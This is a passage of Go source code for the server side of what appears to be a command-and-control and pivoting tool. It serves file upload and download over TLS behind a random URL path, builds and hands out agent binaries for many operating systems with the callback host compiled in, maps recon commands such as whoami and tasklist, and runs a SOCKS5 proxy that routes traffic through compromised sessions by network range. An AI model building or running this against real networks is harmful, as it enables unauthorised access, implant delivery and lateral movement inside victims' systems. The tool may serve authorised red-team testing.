pubKeyHash string 38 | 39 | wg *sync.WaitGroup 40 | 41 | osCommands map[string]map[string] string 42 | 43 | listener net.Listener 44 | socks net.Listener 45 | 46 | sessionListeners []SessionListener 47 | 48 | httpMagic string 49 | } 50 | 51 | type SessionListener interface { 52 | NewSession(session *Session) 53 | CloseSession(session *Session) 54 | } 55 | 56 | 57 | func NewServer(wg *sync.WaitGroup, config Config) *Server { 58 | 59 | return &Server{ 60 | sessionIndex: 0, 61 | sessions: make(map[int]*Session), 62 | routes: make(map[string]*Session), 63 | wg: wg, 64 | config: config, 65 | tunnel: NewTunnel(config), 66 | httpMagic: randomString(15), 67 | } 68 | } 69 | 70 | func (s *Server) populateOsCommands() { 71 | 72 | s.osCommands = make(map[string]map[string] string) 73 | 74 | s.osCommands["windows"] = make(map[string] string) 75 | 76 | s.osCommands["windows"]["ls"]="dir" 77 | s.osCommands["windows"]["ps"]="tasklist /V" 78 | s.osCommands["windows"]["id"]="whoami" 79 | s.osCommands["windows"]["pwd"]="cd" 80 | s.osCommands["windows"]["netstat"]="netstat -a" 81 | 82 | for _, os := range strings.Split("android darwin dragonfly freebsd linux nacl netbsd openbsd plan9 solaris", " ") { 83 | 84 | s.osCommands[os] = make(map[string] string) 85 | 86 | s.osCommands[os]["ls"]="ls -la" 87 | s.osCommands[os]["ps"]="ps -axfe" 88 | s.osCommands[os]["id"]="id" 89 | s.osCommands[os]["pwd"]="pwd" 90 | s.osCommands[os]["netstat"]="netstat -a" 91 | } 92 | } 93 | 94 | func (s *Server) Start() { 95 | if s.config.Socks.Enable { 96 | go s.startSocks() 97 | } 98 | 99 | s.populateOsCommands() 100 | 101 | go s.startListener() 102 | } 103 | 104 | func (s *Server) Stop() { 105 | for _, session := range s.sessions { 106 | session.Close() 107 | } 108 | s.listener.Close() 109 | s.wg.Done() 110 | } 111 | 112 | func (s *Server) handleConnection(conn net.Conn) { 113 | 114 | log.Printf("Connection from %s", conn.RemoteAddr()) 115 | 116 | reader := bufio.NewReader(conn) 117 | line, _, err := reader.ReadLine() 118 | if err != nil { 119 | log.Printf("ERROR %s", err) 120 | conn.Close() 121 | return 122 | } 123 | 124 | if stringMatch("CONNECT .* HTTP/1.1", line) { 125 | s.handleNewSession(conn) 126 | } else if stringMatch("GET /" + s.httpMagic + "/agent/[^/]*/[^ ]* .*", line) { 127 | s.handleNewAgent(conn, string(line), reader) 128 | } else if stringMatch("GET /" + s.httpMagic+ "/[^ ]* .*", line) { 129 | s.handleNewDownload(conn, string(line)) 130 | } else if stringMatch("POST /" + s.httpMagic + "/[^ ]* .*", line) { 131 | s.handleNewUpload(conn, string(line), reader) 132 | } else { 133 | sendHttp404Error(conn) 134 | } 135 | } 136 | 137 | func (s *Server) handleNewSession(conn net.Conn) { 138 | s.sessionIndex++ 139 | session := NewSession(s, conn, s.sessionIndex) 140 | if session != nil { 141 | s.sessions[session.Id] = session 142 | for _, listener := range s.sessionListeners { 143 | listener.NewSession(session) 144 | } 145 | } 146 | } 147 | 148 | 149 | 150 | func (s *Server) handleNewDownload(conn net.Conn, request string) { 151 | log.Println("Download file") 152 | 153 | defer conn.Close() 154 | 155 | expr := regexp.MustCompile("GET /" + s.httpMagic + "/([^ ]*) .*") 156 | values := expr.FindAllStringSubmatch(request, -1)[0] 157 | 158 | if len(values) == 2 { 159 | path := values[1] 160 | 161 | fileAbsPath, _ := filepath.Abs("share/" + path) 162 | downloadAbsPath, _ := filepath.Abs("share/") 163 | 164 | if !strings.Contains(fileAbsPath, downloadAbsPath) { 165 | log.Printf("ERROR Invalid path") 166 | sendHttp404Error(conn) 167 | return 168 | } 169 | 170 | log.Printf("File request %s", path) 171 | 172 | fileContent, err := ioutil.ReadFile(fileAbsPath) 173 | if err != nil { 174 | log.Printf("ERROR %s", err) 175 | sendHttp404Error(conn) 176 | return 177 | } 178 | 179 | conn.Write([]byte("HTTP/1.1 200 OK\r\nContent-Disposition: inline; filename=\"" + path +"\"\r\nContent-Length: " + strconv.Itoa(len(fileContent)) + "\r\n\r\n")) 180 | conn.Write(fileContent) 181 | } 182 | } 183 | 184 | func (s *Server) handleNewUpload(conn net.Conn, request string, reader *bufio.Reader) { 185 | log.Println("Upload file") 186 | 187 | defer conn.Close() 188 | 189 | expr := regexp.MustCompile("POST /" + s.httpMagic + "/([^ ]*) .*") 190 | values := expr.FindAllStringSubmatch(request, -1)[0] 191 | 192 | if len(values) == 2 { 193 | path := values[1] 194 | 195 | fileAbsPath, _ := filepath.Abs("share/" + path) 196 | downloadAbsPath, _ := filepath.Abs("share/") 197 | 198 | if !strings.Contains(fileAbsPath, downloadAbsPath) { 199 | log.Printf("ERROR Invalid path") 200 | sendHttp404Error(conn) 201 | return 202 | } 203 | 204 | log.Printf("File request %s", path) 205 | headers := readHttpHeaders(reader) 206 | 207 | log.Printf("%s", headers) 208 | 209 | fileSize, err := strconv.ParseInt(headers["content-length"], 10, 64) 210 | if err != nil { 211 | log.Printf("ERROR %s", err) 212 | sendHttp404Error(conn) 213 | return 214 | } 215 | 216 | file, err := os.OpenFile(fileAbsPath, os.O_RDWR|os.O_CREATE, 644) 217 | if err != nil { 218 | log.Printf("ERROR %s", err) 219 | sendHttp404Error(conn) 220 | return 221 | } 222 | 223 | defer file.Close() 224 | 225 | _, err = io.CopyN(file, reader, fileSize) 226 | if err != nil { 227 | log.Printf("ERROR %s", err) 228 | sendHttp404Error(conn) 229 | return 230 | } 231 | 232 | conn.Write([]byte("HTTP/1.1 201 Created\r\n\r\n")) 233 | } 234 | } 235 | 236 | func sendHttp404Error(conn net.Conn) { 237 | conn.Write([]byte("HTTP/1.1 404 Not Found\r\n\r\n")) 238 | conn.Close() 239 | } 240 | 241 | /* ----------------- 242 | Sessions 243 | ------------------ */ 244 | 245 | 246 | func (s *Server) GetSession(sessionId int) (*Session, error) { 247 | if session, ok := s.sessions[sessionId]; ok { 248 | return session, nil 249 | } else { 250 | return nil, errors.New("Invalid session Id") 251 | } 252 | } 253 | 254 | func (s *Server) CloseSession(sessionId int) error { 255 | if session, ok := s.sessions[sessionId]; ok { 256 | delete(s.sessions, session.Id) 257 | session.Close() 258 | for _, listener := range s.sessionListeners { 259 | listener.CloseSession(session) 260 | } 261 | } else { 262 | return errors.New("Invalid session Id") 263 | } 264 | return nil 265 | } 266 | 267 | func (s *Server) RegisterSessionListener(listener SessionListener) { 268 | s.sessionListeners = append(s.sessionListeners, listener) 269 | } 270 | 271 | func (s *Server) UnregisterSessionListener(listener SessionListener) { 272 | //TODO 273 | } 274 | 275 | 276 | /* ------------------ 277 | Routing 278 | ------------------- */ 279 | 280 | 281 | func (s *Server) AddRoute(cidr string, sessionId int) error { 282 | _, _, err := net.ParseCIDR(cidr) 283 | if err != nil { 284 | return errors.New("Invalid IP or range") 285 | } 286 | 287 | if _, ok := s.sessions[sessionId]; ok { 288 | s.routes[cidr] = s.sessions[sessionId] 289 | } else { 290 | return errors.New("Invalid session Id") 291 | } 292 | return nil 293 | } 294 | 295 | func (s *Server) DelRoute(cidr string) error { 296 | if _, ok := s.routes[cidr]; ok { 297 | delete(s.routes, cidr) 298 | } else { 299 | return errors.New("Invalid route") 300 | } 301 | return nil 302 | } 303 | 304 | func (s *Server) ClearRoutes() { 305 | for key, _ := range s.routes { 306 | delete(s.routes, key) 307 | } 308 | } 309 | 310 | 311 | 312 | /* ----------------------- 313 | Agent 314 | ------------------------ */ 315 | 316 | 317 | func (s *Server) handleNewAgent(conn net.Conn, request string, reader *bufio.Reader) { 318 | log.Println("Download agent") 319 | 320 | defer conn.Close() 321 | 322 | expr := regexp.MustCompile("GET /" + s.httpMagic + "/agent/([^/]*)/([^ ]*) .*") 323 | values := expr.FindAllStringSubmatch(request, -1)[0] 324 | 325 | if len(values) == 3 { 326 | os := values[1] 327 | arch := values[2] 328 | 329 | headers := readHttpHeaders(reader) 330 | 331 | log.Printf("Agent request Os:%s Arch:%s", os, arch) 332 | log.Printf("HTTP headers %s", headers) 333 | 334 | agentContent, err := s.GenerateAgent(os,arch, headers["host"], "", "", "", "", s.pubKeyHash) 335 | if err != nil { 336 | log.Printf("ERROR %s", err) 337 | conn.Write([]byte("HTTP/1.1 500 Server Error\r\n\r\n")) 338 | conn.Close() 339 | return 340 | } 341 | 342 | conn.Write([]byte("HTTP/1.1 200 OK\r\nContent-Disposition: inline; filename=\"agent\"\r\nContent-Length: " + strconv.Itoa(len(agentContent)) + "\r\n\r\n")) 343 | conn.Write(agentContent) 344 | } 345 | } 346 | 347 | 348 | func (s *Server) GenerateAgent(goos string, goarch string, host string, httpProxyHost string, httpsProxyHost string, proxyUsername string, proxyPassword string, pubKeySum string) ([]byte, error) { 349 | 350 | tempDir, err := ioutil.TempDir("", "agent") 351 | if err != nil { 352 | return nil, err 353 | } 354 | 355 | defer os.RemoveAll(tempDir) 356 | 357 | log.Printf("New agent in %s\n", tempDir) 358 | 359 | ldflags := "-X main.connectHost=" + host 360 | ldflags += " -X main.httpProxyHost=" + httpProxyHost 361 | ldflags += " -X main.httpsProxyHost=" + httpsProxyHost 362 | ldflags += " -X main.proxyUsername=" + proxyUsername 363 | ldflags += " -X main.proxyPassword=" + proxyPassword 364 | ldflags += " -X main.pubKeySum=" + pubKeySum 365 | 366 | usr, err := user.Current() 367 | if err != nil { 368 | log.Printf("ERROR %s", err) 369 | return nil, err 370 | } 371 | 372 | cmd := exec.Command("go", "build", "-i", "-o", tempDir + "/agent", "-pkgdir", tempDir, "-ldflags", ldflags) 373 | cmd.Env = []string {"GOOS=" + goos,"GOARCH=" + goarch, "GOPATH=" + usr.HomeDir + "/go", "PATH=" + os.Getenv("PATH"), "GOCACHE=" + tempDir} 374 | cmd.Dir = "./agent" 375 | cmd.Stdout = os.Stdout 376 | cmd.Stderr = os.Stderr 377 | err = cmd.Start() 378 | 379 | log.Println("Building agent...") 380 | cmd.Wait() 381 | 382 | agentContent, err := ioutil.ReadFile(tempDir + "/agent") 383 | 384 | if err == nil { 385 | log.Println("Agent build success") 386 | } else { 387 | log.Println("ERROR Failed to build agent") 388 | } 389 | 390 | return agentContent, err 391 | } 392 | 393 | /* ------------------- 394 | Socks 395 | -------------------- */ 396 | 397 | func (s *Server) getSessionRoute(ip string) *Session { 398 | 399 | ipAddr := net.ParseIP(ip) 400 | if ipAddr == nil { 401 | log.Println("Invalid ip %s", ip) 402 | } 403 | 404 | for cidr, session := range s.routes { 405 | _, ipnet, _ := net.ParseCIDR(cidr) 406 | 407 | if ipnet.Contains(ipAddr) { 408 | return session 409 | } 410 | } 411 | 412 | return nil 413 | } 414 | 415 | func (s *Server) startSocks() { 416 | 417 | var err error 418 | 419 | log.Println("Starting socks") 420 | 421 | s.socks, err = net.Listen("tcp", s.config.Socks.Addr) 422 | if err != nil { 423 | log.Printf("ERROR %s", err) 424 | return 425 | } 426 | 427 | for { 428 | log.Println("Waiting for connection...") 429 | conn, err := s.socks.Accept() 430 | if err != nil { 431 | log.Printf("ERROR %s", err) 432 | break 433 | } 434 | log.Println("New socks client") 435 | 436 | methods, err := gosocks5.ReadMethods(conn) 437 | if err != nil { 438 | log.Printf("ERROR %s", err) 439 | conn.Close() 440 | continue 441 | } 442 | log.Printf("Methods %s", methods) 443 | 444 | err = gosocks5.WriteMethod(gosocks5.MethodNoAuth, conn) 445 | if err != nil { 446 | log.Printf("ERROR %s", err) 447 | conn.Close() 448 | continue 449 | } 450 | 451 | log.Printf("Read socks request") 452 | 453 | req, err := gosocks5.ReadRequest(conn) 454 | if err != nil { 455 | log.Printf("ERROR %s", err) 456 | conn.Close() 457 | continue 458 | } 459 | 460 | log.Printf("Request %s", req) 461 | 462 | rep := gosocks5.NewReply(gosocks5.Succeeded, nil) 463 | if err := rep.Write(conn); err != nil { 464 | log.Printf("ERROR %s", err) 465 | conn.Close() 466 | continue 467 | } 468 | 469 | session := s.getSessionRoute(req.Addr.Host) 470 | if session == nil { 471 | log.Printf("No route to host %s, using tunnel", req.Addr.Host) 472 | 473 | err = s.tunnel.Connect(conn, req.Addr.String()) 474 | if err != nil { 475 | log.Printf("ERROR %s", err) 476 | conn.Close() 477 | } 478 | 479 | continue 480 | } 481 | 482 | session.ConnectToRemote(conn, req.Addr.String()) 483 | } 484 | } 485 | 486 | /* ---------------- 487 | Listener 488 | ----------------- */ 489 | 490 | func (s *Server) startListener() { 491 | 492 | log.Println("Starting listener") 493 | 494 | cert, err := tls.LoadX509KeyPair("config/server.crt", "config/server.key") 495 | if err != nil { 496 | log.Printf("ERROR %s", err) 497 | return 498 | } 499 | 500 | pemBytes, err := ioutil.ReadFile("config/server.pub") 501 | if err != nil { 502 | log.Printf("ERROR %s", err) 503 | return 504 | } 505 | 506 | block, _ := pem.Decode(pemBytes) 507 | 508 | sha256 := sha256.New() 509 | sha256.Write(block.Bytes) 510 | s.pubKeyHash = hex.EncodeToString(sha256.Sum(nil)) 511 | log.Printf("Public key sum %s", s.pubKeyHash) 512 | 513 | config := tls.Config{Certificates: []tls.Certificate{cert}} 514 | config.Rand = rand.Reader 515 | 516 | s.listener, err = tls.Listen("tcp", s.config.ListenAddr, &config) 517 | if err != nil { 518 | log.Printf("ERROR %s", err) 519 | return 520 | } 521 | 522 | for { 523 | log.Println("Waiting for connection...") 524 | conn, err := s.listener.Accept() 525 | if err != nil { 526 | log.Printf("ERROR %s", err) 527 | break 528 | } 529 | go s.handleConnection(conn) 530 | } 531 | } --------------------------------------------------------------------------------